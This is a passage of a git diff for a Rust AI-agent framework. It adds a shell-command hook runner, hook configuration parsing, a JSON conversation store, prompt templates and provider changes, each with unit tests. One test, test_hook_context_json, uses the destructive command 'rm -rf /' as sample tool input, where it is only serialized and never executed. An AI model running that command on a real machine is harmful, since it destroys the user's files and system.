results.push(result); + } + } + + results + } + + pub async fn check_allowed(&self, event: &HookEvent, context: &HookContext) -> bool { + let results = self.run_hooks(event, context).await; + !results.iter().any(|r| matches!(r, HookResult::Blocked(_))) + } + + async fn run_single_hook(&self, spec: &HookSpec, context: &HookContext) -> HookResult { + if spec.hook_type != "command" { + return HookResult::Allowed; + } + + let timeout_secs = spec.timeout.unwrap_or(30); + let input = context.to_json().to_string(); + + let spawn_result = Command::new("sh") + .arg("-c") + .arg(&spec.command) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn(); + + let mut child = match spawn_result { + Ok(c) => c, + Err(e) => return HookResult::Blocked(format!("Failed to spawn hook: {e}")), + }; + + if let Some(ref mut stdin) = child.stdin { + use tokio::io::AsyncWriteExt; + let _ = stdin.write_all(input.as_bytes()).await; + } + + let timeout_result = tokio::time::timeout( + std::time::Duration::from_secs(timeout_secs), + child.wait_with_output(), + ) + .await; + + match timeout_result { + Ok(Ok(output)) => { + if output.status.code() == Some(2) { + let stderr = String::from_utf8_lossy(&output.stderr).to_string(); + HookResult::Blocked(if stderr.is_empty() { + "Hook blocked execution".to_string() + } else { + stderr + }) + } else { + HookResult::Allowed + } + } + Ok(Err(e)) => HookResult::Blocked(format!("Hook failed: {e}")), + Err(_) => HookResult::Blocked(format!("Hook timed out after {timeout_secs}s")), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::chat::hooks::types::{HookGroup, HookSpec}; + + #[tokio::test] + async fn test_empty_runner_always_allows() { + let runner = HookRunner::empty(); + let ctx = HookContext::for_session_start(); + assert!(runner.check_allowed(&HookEvent::SessionStart, &ctx).await); + assert!(runner.check_allowed(&HookEvent::PreToolUse, &ctx).await); + } + + #[tokio::test] + async fn test_hook_exit_zero_allows() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::PreToolUse, + HookGroup { + matcher: None, + hooks: vec![HookSpec { + hook_type: "command".to_string(), + command: "exit 0".to_string(), + timeout: Some(5), + status_message: None, + }], + }, + ); + let runner = HookRunner::new(config); + let ctx = HookContext::for_tool_call("file_read", None); + assert!(runner.check_allowed(&HookEvent::PreToolUse, &ctx).await); + } + + #[tokio::test] + async fn test_hook_exit_two_blocks() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::PreToolUse, + HookGroup { + matcher: None, + hooks: vec![HookSpec { + hook_type: "command".to_string(), + command: "echo 'blocked by policy' >&2; exit 2".to_string(), + timeout: Some(5), + status_message: None, + }], + }, + ); + let runner = HookRunner::new(config); + let ctx = HookContext::for_tool_call("file_read", None); + assert!(!runner.check_allowed(&HookEvent::PreToolUse, &ctx).await); + } + + #[tokio::test] + async fn test_hook_matcher_filters() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::PreToolUse, + HookGroup { + matcher: Some("Bash".to_string()), + hooks: vec![HookSpec { + hook_type: "command".to_string(), + command: "exit 2".to_string(), + timeout: Some(5), + status_message: None, + }], + }, + ); + let runner = HookRunner::new(config); + + let ctx_bash = HookContext::for_tool_call("Bash", None); + assert!( + !runner + .check_allowed(&HookEvent::PreToolUse, &ctx_bash) + .await + ); + + let ctx_read = HookContext::for_tool_call("file_read", None); + assert!( + runner + .check_allowed(&HookEvent::PreToolUse, &ctx_read) + .await + ); + } + + #[tokio::test] + async fn test_hook_matcher_regex() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::PreToolUse, + HookGroup { + matcher: Some("Write|Edit".to_string()), + hooks: vec![HookSpec { + hook_type: "command".to_string(), + command: "exit 2".to_string(), + timeout: Some(5), + status_message: None, + }], + }, + ); + let runner = HookRunner::new(config); + + let ctx_write = HookContext::for_tool_call("Write", None); + assert!( + !runner + .check_allowed(&HookEvent::PreToolUse, &ctx_write) + .await + ); + + let ctx_edit = HookContext::for_tool_call("Edit", None); + assert!( + !runner + .check_allowed(&HookEvent::PreToolUse, &ctx_edit) + .await + ); + + let ctx_read = HookContext::for_tool_call("Read", None); + assert!( + runner + .check_allowed(&HookEvent::PreToolUse, &ctx_read) + .await + ); + } + + #[tokio::test] + async fn test_hook_timeout() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::PreToolUse, + HookGroup { + matcher: None, + hooks: vec![HookSpec { + hook_type: "command".to_string(), + command: "sleep 10".to_string(), + timeout: Some(1), + status_message: None, + }], + }, + ); + let runner = HookRunner::new(config); + let ctx = HookContext::for_tool_call("file_read", None); + let results = runner.run_hooks(&HookEvent::PreToolUse, &ctx).await; + assert_eq!(results.len(), 1); + assert!(matches!(results[0], HookResult::Blocked(ref msg) if msg.contains("timed out"))); + } + + #[tokio::test] + async fn test_session_start_hook_receives_context() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::SessionStart, + HookGroup { + matcher: None, + hooks: vec![HookSpec { + hook_type: "command".to_string(), + command: "cat".to_string(), + timeout: Some(5), + status_message: None, + }], + }, + ); + let runner = HookRunner::new(config); + let ctx = HookContext::for_session_start(); + let results = runner.run_hooks(&HookEvent::SessionStart, &ctx).await; + assert_eq!(results.len(), 1); + assert!(matches!(results[0], HookResult::Allowed)); + } + + #[test] + fn test_hook_context_json() { + let ctx = HookContext::for_tool_call("Bash", Some("rm -rf /")); + let json = ctx.to_json(); + assert_eq!(json["tool_name"], "Bash"); + assert_eq!(json["command"], "rm -rf /"); + + let ctx_start = HookContext::for_session_start(); + let json_start = ctx_start.to_json(); + assert!(json_start.as_object().unwrap().is_empty()); + + let ctx_stop = HookContext::for_stop(Some("the answer")); + assert_eq!(ctx_stop.to_json()["answer"], "the answer"); + } + + #[tokio::test] + async fn test_multiple_hooks_first_block_stops() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::PreToolUse, + HookGroup { + matcher: None, + hooks: vec![ + HookSpec { + hook_type: "command".to_string(), + command: "exit 0".to_string(), + timeout: Some(5), + status_message: None, + }, + HookSpec { + hook_type: "command".to_string(), + command: "echo 'nope' >&2; exit 2".to_string(), + timeout: Some(5), + status_message: None, + }, + ], + }, + ); + let runner = HookRunner::new(config); + let ctx = HookContext::for_tool_call("file_read", None); + assert!(!runner.check_allowed(&HookEvent::PreToolUse, &ctx).await); + } +} diff --git a/forgekit_agent/src/chat/hooks/types.rs b/forgekit_agent/src/chat/hooks/types.rs new file mode 100644 index 0000000..0ce9836 --- /dev/null +++ b/forgekit_agent/src/chat/hooks/types.rs @@ -0,0 +1,249 @@ +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; + +#[derive(Clone, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "PascalCase")] +#[non_exhaustive] +pub enum HookEvent { + SessionStart, + PreToolUse, + PostToolUse, + Stop, + SubagentStop, +} + +impl HookEvent { + pub fn all() -> Vec { + vec![ + HookEvent::SessionStart, + HookEvent::PreToolUse, + HookEvent::PostToolUse, + HookEvent::Stop, + HookEvent::SubagentStop, + ] + } + + pub fn as_str(&self) -> &'static str { + match self { + HookEvent::SessionStart => "SessionStart", + HookEvent::PreToolUse => "PreToolUse", + HookEvent::PostToolUse => "PostToolUse", + HookEvent::Stop => "Stop", + HookEvent::SubagentStop => "SubagentStop", + } + } +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +#[non_exhaustive] +pub struct HookSpec { + #[serde(rename = "type")] + pub hook_type: String, + pub command: String, + #[serde(default)] + pub timeout: Option, + #[serde(default)] + pub status_message: Option, +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +#[non_exhaustive] +pub struct HookGroup { + #[serde(default)] + pub matcher: Option, + pub hooks: Vec, +} + +#[derive(Clone, Debug, Default)] +#[non_exhaustive] +pub struct HookConfig { + pub groups: HashMap>, +} + +impl HookConfig { + pub fn empty() -> Self { + HookConfig { + groups: HashMap::new(), + } + } + + pub fn groups_for(&self, event: &HookEvent) -> &[HookGroup] { + self.groups.get(event).map(|v| v.as_slice()).unwrap_or(&[]) + } + + pub fn add_group(&mut self, event: HookEvent, group: HookGroup) { + self.groups.entry(event).or_default().push(group); + } + + pub fn is_empty(&self) -> bool { + self.groups.values().all(|v| v.is_empty()) + } + + pub fn from_toml_section(value: &toml::Value) -> Result { + let table = value + .as_table() + .ok_or_else(|| "hooks section must be a table".to_string())?; + + let mut config = HookConfig::empty(); + + for (key, val) in table { + let event = match key.as_str() { + "SessionStart" => HookEvent::SessionStart, + "PreToolUse" => HookEvent::PreToolUse, + "PostToolUse" => HookEvent::PostToolUse, + "Stop" => HookEvent::Stop, + "SubagentStop" => HookEvent::SubagentStop, + _ => { + continue; + } + }; + + let groups = parse_hook_groups(val)?; + config.groups.insert(event, groups); + } + + Ok(config) + } +} + +fn parse_hook_groups(value: &toml::Value) -> Result, String> { + let arr = value + .as_array() + .ok_or_else(|| "hook event value must be an array of groups".to_string())?; + + let mut groups = Vec::new(); + for item in arr { + let table = item + .as_table() + .ok_or_else(|| "each hook group must be a table".to_string())?; + + let matcher = table + .get("matcher") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + let hooks_val = table + .get("hooks") + .and_then(|v| v.as_array()) + .ok_or_else(|| "each hook group must have a 'hooks' array".to_string())?; + + let mut hooks = Vec::new(); + for hook_val in hooks_val { + let ht = hook_val + .as_table() + .ok_or_else(|| "each hook must be a table".to_string())?; + + let hook_type = ht + .get("type") + .and_then(|v| v.as_str()) + .unwrap_or("command") + .to_string(); + + let command = ht + .get("command") + .and_then(|v| v.as_str()) + .ok_or_else(|| "each hook must have a 'command' field".to_string())? + .to_string(); + + let timeout = ht + .get("timeout") + .and_then(|v| v.as_integer()) + .map(|t| t as u64); + + let status_message = ht + .get("statusMessage") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + hooks.push(HookSpec { + hook_type, + command, + timeout, + status_message, + }); + } + + groups.push(HookGroup { matcher, hooks }); + } + + Ok(groups) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_empty_config() { + let config = HookConfig::empty(); + assert!(config.is_empty()); + assert!(config.groups_for(&HookEvent::SessionStart).is_empty()); + } + + #[test] + fn test_add_group() { + let mut config = HookConfig::empty(); + config.add_group( + HookEvent::PreToolUse, + HookGroup { + matcher: Some("Bash".to_string()), + hooks: vec![HookSpec { + hook_type: "command".to_string(), + command: "echo check".to_string(), + timeout: Some(5), + status_message: None, + }], + }, + ); + assert!(!config.is_empty()); + assert_eq!(config.groups_for(&HookEvent::PreToolUse).len(), 1); + assert_eq!(config.groups_for(&HookEvent::Stop).len(), 0); + } + + #[test] + fn test_from_toml_section() { + let toml_str = r#" +[[PreToolUse]] +matcher = "Bash" +hooks = [{type = "command", command = "echo check", timeout = 5}] +"#; + let value: toml::Value = toml::from_str(toml_str).expect("invariant: valid TOML"); + let config = HookConfig::from_toml_section(&value).expect("invariant: valid config"); + assert_eq!(config.groups_for(&HookEvent::PreToolUse).len(), 1); + } + + #[test] + fn test_from_toml_multiple_events() { + let toml_str = r#" +[[SessionStart]] +hooks = [{type = "command", command = "echo start", timeout = 15}] + +[[PreToolUse]] +matcher = "Bash" +hooks = [{type = "command", command = "echo check", timeout = 5}] + +[[Stop]] +hooks = [{type = "command", command = "echo stop"}] +"#; + let value: toml::Value = toml::from_str(toml_str).expect("invariant: valid TOML"); + let config = HookConfig::from_toml_section(&value).expect("invariant: valid config"); + assert_eq!(config.groups_for(&HookEvent::SessionStart).len(), 1); + assert_eq!(config.groups_for(&HookEvent::PreToolUse).len(), 1); + assert_eq!(config.groups_for(&HookEvent::Stop).len(), 1); + } + + #[test] + fn test_unknown_event_keys_ignored() { + let toml_str = r#" +[[UnknownEvent]] +hooks = [{type = "command", command = "echo hi"}] + +[[Stop]] +hooks = [{type = "command", command = "echo stop"}] +"#; + let value: toml::Value = toml::from_str(toml_str).expect("invariant: valid TOML"); + let config = HookConfig::from_toml_section(&value).expect("invariant: valid config"); + assert_eq!(config.groups_for(&HookEvent::Stop).len(), 1); + assert_eq!(config.groups_for(&HookEvent::SessionStart).len(), 0); + } +} diff --git a/forgekit_agent/src/chat/memory.rs b/forgekit_agent/src/chat/memory.rs new file mode 100644 index 0000000..c67e5c7 --- /dev/null +++ b/forgekit_agent/src/chat/memory.rs @@ -0,0 +1,281 @@ +use crate::chat::types::{ChatMessage, Usage}; +use anyhow::Result; +use serde::{Deserialize, Serialize}; +use std::path::{Path, PathBuf}; + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct SessionMeta { + pub id: String, + pub created_at: String, + pub updated_at: String, + pub message_count: usize, + pub total_tokens: u64, +} + +pub trait ConversationStore: Send + Sync + std::fmt::Debug { + fn save(&self, session_id: &str, messages: &[ChatMessage], usage: &Usage) -> Result<()>; + fn load(&self, session_id: &str) -> Result>; + fn list_sessions(&self) -> Result>; + fn delete(&self, session_id: &str) -> Result; +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct StoredConversation { + pub meta: SessionMeta, + pub messages: Vec, +} + +#[derive(Debug)] +pub struct FileConversationStore { + dir: PathBuf, +} + +impl FileConversationStore { + pub fn new(dir: impl AsRef) -> Result { + let dir = dir.as_ref().to_path_buf(); + std::fs::create_dir_all(&dir)?; + Ok(Self { dir }) + } + + pub fn in_memory() -> Self { + Self { + dir: PathBuf::from(":memory:"), + } + } + + fn session_path(&self, session_id: &str) -> PathBuf { + self.dir.join(format!("{session_id}.json")) + } +} + +impl ConversationStore for FileConversationStore { + fn save(&self, session_id: &str, messages: &[ChatMessage], usage: &Usage) -> Result<()> { + if self.dir.to_str() == Some(":memory:") { + return Ok(()); + } + let now = chrono::Utc::now().to_rfc3339(); + let meta = SessionMeta { + id: session_id.to_string(), + created_at: now.clone(), + updated_at: now, + message_count: messages.len(), + total_tokens: usage.total_tokens.unwrap_or(0), + }; + let stored = StoredConversation { + meta, + messages: messages.to_vec(), + }; + let json = serde_json::to_string_pretty(&stored)?; + let path = self.session_path(session_id); + std::fs::write(&path, json)?; + Ok(()) + } + + fn load(&self, session_id: &str) -> Result> { + if self.dir.to_str() == Some(":memory:") { + return Ok(None); + } + let path = self.session_path(session_id); + if !path.exists() { + return Ok(None); + } + let json = std::fs::read_to_string(&path)?; + let stored: StoredConversation = serde_json::from_str(&json)?; + Ok(Some(stored)) + } + + fn list_sessions(&self) -> Result> { + if self.dir.to_str() == Some(":memory:") { + return Ok(Vec::new()); + } + let mut sessions = Vec::new(); + for entry in std::fs::read_dir(&self.dir)? { + let entry = entry?; + let path = entry.path(); + if path.extension().map(|e| e == "json").unwrap_or(false) { + if let Ok(json) = std::fs::read_to_string(&path) { + if let Ok(stored) = serde_json::from_str::(&json) { + sessions.push(stored.meta); + } + } + } + } + sessions.sort_by(|a, b| b.updated_at.cmp(&a.updated_at)); + Ok(sessions) + } + + fn delete(&self, session_id: &str) -> Result { + if self.dir.to_str() == Some(":memory:") { + return Ok(false); + } + let path = self.session_path(session_id); + if path.exists() { + std::fs::remove_file(path)?; + Ok(true) + } else { + Ok(false) + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::chat::types::Role; + + #[test] + fn save_and_load_roundtrip() { + let dir = tempfile::tempdir().unwrap(); + let store = FileConversationStore::new(dir.path()).unwrap(); + + let mut messages = vec![ + ChatMessage::system("You are helpful."), + ChatMessage::user("Hello"), + ChatMessage::assistant("Hi there!"), + ]; + messages.push(ChatMessage { + role: Role::Assistant, + content: vec![crate::chat::types::ContentBlock::tool_call( + "call_1", + "file_read", + serde_json::json!({"path": "test.rs"}), + )], + }); + messages.push(ChatMessage::tool_result("call_1", "fn main() {}")); + + let usage = Usage { + prompt_tokens: Some(100), + completion_tokens: Some(50), + total_tokens: Some(150), + }; + + store.save("session-1", &messages, &usage).unwrap(); + + let loaded = store.load("session-1").unwrap().expect("should load"); + assert_eq!(loaded.messages.len(), 5); + assert_eq!(loaded.messages[0].role, Role::System); + assert_eq!(loaded.messages[1].text(), Some("Hello")); + assert_eq!(loaded.meta.total_tokens, 150); + assert_eq!(loaded.meta.message_count, 5); + } + + #[test] + fn load_nonexistent_returns_none() { + let dir = tempfile::tempdir().unwrap(); + let store = FileConversationStore::new(dir.path()).unwrap(); + let result = store.load("no-such-session").unwrap(); + assert!(result.is_none()); + } + + #[test] + fn list_sessions_returns_sorted() { + let dir = tempfile::tempdir().unwrap(); + let store = FileConversationStore::new(dir.path()).unwrap(); + + let msgs = vec![ChatMessage::user("test")]; + let usage = Usage::default(); + + store.save("session-a", &msgs, &usage).unwrap(); + store.save("session-b", &msgs, &usage).unwrap(); + + let sessions = store.list_sessions().unwrap(); + assert_eq!(sessions.len(), 2); + } + + #[test] + fn delete_removes_session() { + let dir = tempfile::tempdir().unwrap(); + let store = FileConversationStore::new(dir.path()).unwrap(); + + let msgs = vec![ChatMessage::user("test")]; + let usage = Usage::default(); + store.save("to-delete", &msgs, &usage).unwrap(); + assert!(store.load("to-delete").unwrap().is_some()); + + let deleted = store.delete("to-delete").unwrap(); + assert!(deleted); + assert!(store.load("to-delete").unwrap().is_none()); + } + + #[test] + fn delete_nonexistent_returns_false() { + let dir = tempfile::tempdir().unwrap(); + let store = FileConversationStore::new(dir.path()).unwrap(); + assert!(!store.delete("nope").unwrap()); + } + + #[test] + fn save_overwrites_existing() { + let dir = tempfile::tempdir().unwrap(); + let store = FileConversationStore::new(dir.path()).unwrap(); + + let usage = Usage::default(); + store + .save("session-1", &[ChatMessage::user("first")], &usage) + .unwrap(); + store + .save("session-1", &[ChatMessage::user("second")], &usage) + .unwrap(); + + let loaded = store.load("session-1").unwrap().unwrap(); + assert_eq!(loaded.messages.len(), 1); + assert_eq!(loaded.messages[0].text(), Some("second")); + } + + #[test] + fn in_memory_store_is_noop() { + let store = FileConversationStore::in_memory(); + let usage = Usage { + total_tokens: Some(42), + ..Default::default() + }; + store + .save("test", &[ChatMessage::user("hello")], &usage) + .unwrap(); + assert!(store.load("test").unwrap().is_none()); + assert!(store.list_sessions().unwrap().is_empty()); + assert!(!store.delete("test").unwrap()); + } + + #[test] + fn conversation_with_store_saves_on_push() { + let dir = tempfile::tempdir().unwrap(); + let store = std::sync::Arc::new(FileConversationStore::new(dir.path()).unwrap()); + + let mut conv = crate::chat::conversation::Conversation::new() + .with_session_id("auto-save-test") + .with_store(store.clone()); + + conv.push(ChatMessage::user("Hello")); + conv.push(ChatMessage::assistant("World")); + + let loaded = store.load("auto-save-test").unwrap().unwrap(); + assert_eq!(loaded.messages.len(), 2); + } + + #[test] + fn conversation_accumulates_usage() { + let dir = tempfile::tempdir().unwrap(); + let store = std::sync::Arc::new(FileConversationStore::new(dir.path()).unwrap()); + + let mut conv = crate::chat::conversation::Conversation::new() + .with_session_id("usage-test") + .with_store(store.clone()); + + conv.push(ChatMessage::user("Hello")); + conv.record_usage(Usage { + prompt_tokens: Some(10), + completion_tokens: Some(5), + total_tokens: Some(15), + }); + conv.push(ChatMessage::assistant("World")); + conv.record_usage(Usage { + prompt_tokens: Some(20), + completion_tokens: Some(10), + total_tokens: Some(30), + }); + + let loaded = store.load("usage-test").unwrap().unwrap(); + assert_eq!(loaded.meta.total_tokens, 45); + } +} diff --git a/forgekit_agent/src/chat/mod.rs b/forgekit_agent/src/chat/mod.rs new file mode 100644 index 0000000..55ff2ed --- /dev/null +++ b/forgekit_agent/src/chat/mod.rs @@ -0,0 +1,72 @@ +pub mod context_window; +pub mod conversation; +pub mod events; +pub mod hooks; +pub mod memory; +pub mod prompts; +pub mod providers; +pub mod react; +pub mod retrieval; +pub mod sandbox; +pub mod skills; +pub mod step; +pub mod stream; +pub mod testing; +pub mod token_tracker; +pub mod tools; +pub mod types; + +pub use context_window::{estimate_tokens, ContextWindow, TrimStrategy}; +pub use conversation::Conversation; +pub use memory::{ConversationStore, FileConversationStore, SessionMeta, StoredConversation}; +pub use prompts::{FewShotExample, PromptLibrary, PromptTemplate}; +#[cfg(feature = "llm-anthropic")] +pub use providers::AnthropicChatProvider; +#[cfg(feature = "llm-ollama")] +pub use providers::OllamaChatProvider; +#[cfg(feature = "llm-openai")] +pub use providers::OpenAiChatProvider; +pub use providers::{ + chat_structured, ChatProvider, ContextTrimmer, LlmProviderAdapter, MockChatProvider, + RetryProvider, +}; +pub use react::{AgentError, ReActLoop, VerifierFn}; +pub use retrieval::{CodeRetriever, CodeSnippet, FileCodeRetriever, RetrievalSource}; +pub use sandbox::{Sandbox, SharedSandbox}; +pub use step::StepEvent; + +pub use events::{AgentEvent, EventBus}; +#[cfg(feature = "atheneum")] +pub use retrieval::AtheneumRetriever; +pub use stream::{ReactStreamEvent, StreamEvent}; +pub use testing::{FailingTool, RecordedCall, RecordingTool}; +pub use token_tracker::{TokenTracker, TokenUsage}; +pub use tools::{ + default_builtin_tools, default_builtin_tools_sandboxed, default_builtin_tools_with_graph, + default_builtin_tools_with_graph_sandboxed, AsyncTool, BuiltinToolRegistry, FileReadTool, + FileWriteTool, GraphQueryTool, ShellExecTool, ToolCall, ToolDef, ToolOutput, ToolRegistry, +}; +pub use types::{ChatMessage, ChatResponse, ContentBlock, LlmError, Role, Usage}; + +pub use hooks::{HookConfig, HookContext, HookEvent, HookGroup, HookResult, HookRunner, HookSpec}; +pub use skills::{ + SkillContent, SkillLoader, SkillManifest, SkillMatch, SkillRegistry, SkillTool, + MAX_INJECTED_BYTES, MIN_CONFIDENCE_SCORE, +}; + +#[cfg(feature = "atheneum")] +pub use tools::AtheneumTool; +#[cfg(feature = "envoy")] +pub use tools::EnvoyTool; + +#[cfg(test)] +mod react_tests; + +#[cfg(test)] +mod retrieval_tests; + +#[cfg(test)] +mod stream_tests; + +#[cfg(test)] +mod types_tests; diff --git a/forgekit_agent/src/chat/prompts.rs b/forgekit_agent/src/chat/prompts.rs new file mode 100644 index 0000000..7cd8e46 --- /dev/null +++ b/forgekit_agent/src/chat/prompts.rs @@ -0,0 +1,278 @@ +use anyhow::Result; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::path::Path; + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct PromptTemplate { + pub name: String, + pub template: String, + #[serde(default)] + pub few_shot_examples: Vec, + #[serde(default)] + pub version: String, +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct FewShotExample { + pub user: String, + pub assistant: String, +} + +impl PromptTemplate { + pub fn new(name: impl Into, template: impl Into) -> Self { + PromptTemplate { + name: name.into(), + template: template.into(), + few_shot_examples: Vec::new(), + version: String::new(), + } + } + + pub fn with_example(mut self, user: impl Into, assistant: impl Into) -> Self { + self.few_shot_examples.push(FewShotExample { + user: user.into(), + assistant: assistant.into(), + }); + self + } + + pub fn with_version(mut self, version: impl Into) -> Self { + self.version = version.into(); + self + } + + pub fn render(&self, vars: &HashMap) -> String { + let mut result = self.template.clone(); + for (key, value) in vars { + let placeholder = format!("{{{key}}}"); + result = result.replace(&placeholder, value); + } + result + } + + pub fn render_with_examples(&self, vars: &HashMap) -> String { + let base = self.render(vars); + if self.few_shot_examples.is_empty() { + return base; + } + let mut parts = vec![base]; + parts.push(String::from("\n\nExamples:")); + for (i, ex) in self.few_shot_examples.iter().enumerate() { + parts.push(format!("\nExample {}:", i + 1)); + parts.push(format!("User: {}", ex.user)); + parts.push(format!("Assistant: {}", ex.assistant)); + } + parts.join("\n") + } + + pub fn load_from_file(path: &Path) -> Result { + let content = std::fs::read_to_string(path)?; + let template: PromptTemplate = serde_json::from_str(&content).or_else(|_| { + let name = path + .file_stem() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_else(|| "unnamed".to_string()); + let tmpl = PromptTemplate::new(name, &content); + Ok::(tmpl) + })?; + Ok(template) + } + + pub fn load_from_dir(dir: &Path) -> Result> { + let mut templates = Vec::new(); + if !dir.exists() { + return Ok(templates); + } + for entry in std::fs::read_dir(dir)? { + let entry = entry?; + let path = entry.path(); + if path + .extension() + .map(|e| e == "md" || e == "json") + .unwrap_or(false) + { + if let Ok(tmpl) = Self::load_from_file(&path) { + templates.push(tmpl); + } + } + } + Ok(templates) + } +} + +pub struct PromptLibrary { + templates: HashMap, +} + +impl PromptLibrary { + pub fn new() -> Self { + PromptLibrary { + templates: HashMap::new(), + } + } + + pub fn from_dir(dir: impl AsRef) -> Result { + let dir = dir.as_ref().to_path_buf(); + let mut library = PromptLibrary { + templates: HashMap::new(), + }; + let loaded = PromptTemplate::load_from_dir(&dir)?; + for tmpl in loaded { + library.templates.insert(tmpl.name.clone(), tmpl); + } + Ok(library) + } + + pub fn register(&mut self, template: PromptTemplate) { + self.templates.insert(template.name.clone(), template); + } + + pub fn get(&self, name: &str) -> Option<&PromptTemplate> { + self.templates.get(name) + } + + pub fn render(&self, name: &str, vars: &HashMap) -> Option { + self.templates.get(name).map(|t| t.render(vars)) + } + + pub fn list_names(&self) -> Vec<&str> { + self.templates.keys().map(|s| s.as_str()).collect() + } +} + +impl Default for PromptLibrary { + fn default() -> Self { + Self::new() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn render_with_variables() { + let tmpl = PromptTemplate::new("test", "Hello {name}, you are in {project}."); + let mut vars = HashMap::new(); + vars.insert("name".to_string(), "Alice".to_string()); + vars.insert("project".to_string(), "forge".to_string()); + assert_eq!(tmpl.render(&vars), "Hello Alice, you are in forge."); + } + + #[test] + fn render_missing_vars_unchanged() { + let tmpl = PromptTemplate::new("test", "Hello {name}, {missing}"); + let mut vars = HashMap::new(); + vars.insert("name".to_string(), "Bob".to_string()); + assert_eq!(tmpl.render(&vars), "Hello Bob, {missing}"); + } + + #[test] + fn render_no_vars() { + let tmpl = PromptTemplate::new("test", "No variables here."); + let vars = HashMap::new(); + assert_eq!(tmpl.render(&vars), "No variables here."); + } + + #[test] + fn render_with_few_shot() { + let tmpl = PromptTemplate::new("test", "You are a coder.") + .with_example("Read foo.rs", "Here is foo.rs: ...") + .with_example("Fix bug", "Fixed in commit abc"); + + let vars = HashMap::new(); + let rendered = tmpl.render_with_examples(&vars); + assert!(rendered.contains("You are a coder.")); + assert!(rendered.contains("Example 1:")); + assert!(rendered.contains("User: Read foo.rs")); + assert!(rendered.contains("Assistant: Fixed in commit abc")); + } + + #[test] + fn library_register_and_get() { + let mut lib = PromptLibrary::new(); + lib.register(PromptTemplate::new("system", "You are {role}.")); + lib.register(PromptTemplate::new("error", "Fix this: {error}")); + + let mut vars = HashMap::new(); + vars.insert("role".to_string(), "helpful".to_string()); + assert_eq!( + lib.render("system", &vars), + Some("You are helpful.".to_string()) + ); + assert!(lib.get("nonexistent").is_none()); + } + + #[test] + fn library_list_names() { + let mut lib = PromptLibrary::new(); + lib.register(PromptTemplate::new("a", "a")); + lib.register(PromptTemplate::new("b", "b")); + let mut names = lib.list_names(); + names.sort(); + assert_eq!(names, vec!["a", "b"]); + } + + #[test] + fn load_from_markdown_file() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("system.md"); + std::fs::write(&path, "You are {role}, working on {project}.").unwrap(); + + let tmpl = PromptTemplate::load_from_file(&path).unwrap(); + assert_eq!(tmpl.name, "system"); + assert!(tmpl.template.contains("{role}")); + + let mut vars = HashMap::new(); + vars.insert("role".to_string(), "coder".to_string()); + vars.insert("project".to_string(), "forge".to_string()); + assert_eq!(tmpl.render(&vars), "You are coder, working on forge."); + } + + #[test] + fn load_from_json_file() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("error.json"); + let json = serde_json::json!({ + "name": "error-fix", + "template": "Fix error: {error} in {file}", + "few_shot_examples": [{"user": "fix null pointer", "assistant": "added null check"}] + }); + std::fs::write(&path, serde_json::to_string_pretty(&json).unwrap()).unwrap(); + + let tmpl = PromptTemplate::load_from_file(&path).unwrap(); + assert_eq!(tmpl.name, "error-fix"); + assert_eq!(tmpl.few_shot_examples.len(), 1); + } + + #[test] + fn library_from_dir() { + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("system.md"), "You are {role}.").unwrap(); + std::fs::write( + dir.path().join("fix.json"), + serde_json::to_string(&serde_json::json!({ + "name": "fix", + "template": "Fix: {error}" + })) + .unwrap(), + ) + .unwrap(); + + let lib = PromptLibrary::from_dir(dir.path()).unwrap(); + assert_eq!(lib.list_names().len(), 2); + let mut vars = HashMap::new(); + vars.insert("role".to_string(), "coder".to_string()); + assert_eq!( + lib.render("system", &vars), + Some("You are coder.".to_string()) + ); + } + + #[test] + fn load_from_nonexistent_dir_returns_empty() { + let lib = PromptLibrary::from_dir("/nonexistent/path").unwrap(); + assert!(lib.list_names().is_empty()); + } +} diff --git a/forge_agent/src/chat/providers/adapter.rs b/forgekit_agent/src/chat/providers/adapter.rs similarity index 100% rename from forge_agent/src/chat/providers/adapter.rs rename to forgekit_agent/src/chat/providers/adapter.rs diff --git a/forge_agent/src/chat/providers/anthropic.rs b/forgekit_agent/src/chat/providers/anthropic.rs similarity index 61% rename from forge_agent/src/chat/providers/anthropic.rs rename to forgekit_agent/src/chat/providers/anthropic.rs index cec5f83..726f4cb 100644 --- a/forge_agent/src/chat/providers/anthropic.rs +++ b/forgekit_agent/src/chat/providers/anthropic.rs @@ -5,7 +5,6 @@ use crate::chat::types::{ChatMessage, ChatResponse, ContentBlock, LlmError, Role use crate::llm::LlmConfig; use async_trait::async_trait; use futures::Stream; -use futures::StreamExt; use serde::{Deserialize, Serialize}; use std::pin::Pin; @@ -346,168 +345,127 @@ impl ChatProvider for AnthropicChatProvider { let (system, anthropic_messages) = convert_messages(messages); let anthropic_tools: Vec = tools.iter().map(convert_tool_def).collect(); - let stream = futures::stream::once(async move { - let request = AnthropicStreamRequest { - model, - max_tokens, - system, - messages: anthropic_messages, - tools: anthropic_tools, - temperature, - top_p, - stop_sequences, - stream: true, - }; - - let resp = match client - .post(format!("{}/v1/messages", endpoint)) - .header("x-api-key", &api_key) - .header("anthropic-version", "2023-06-01") - .json(&request) - .send() - .await - { - 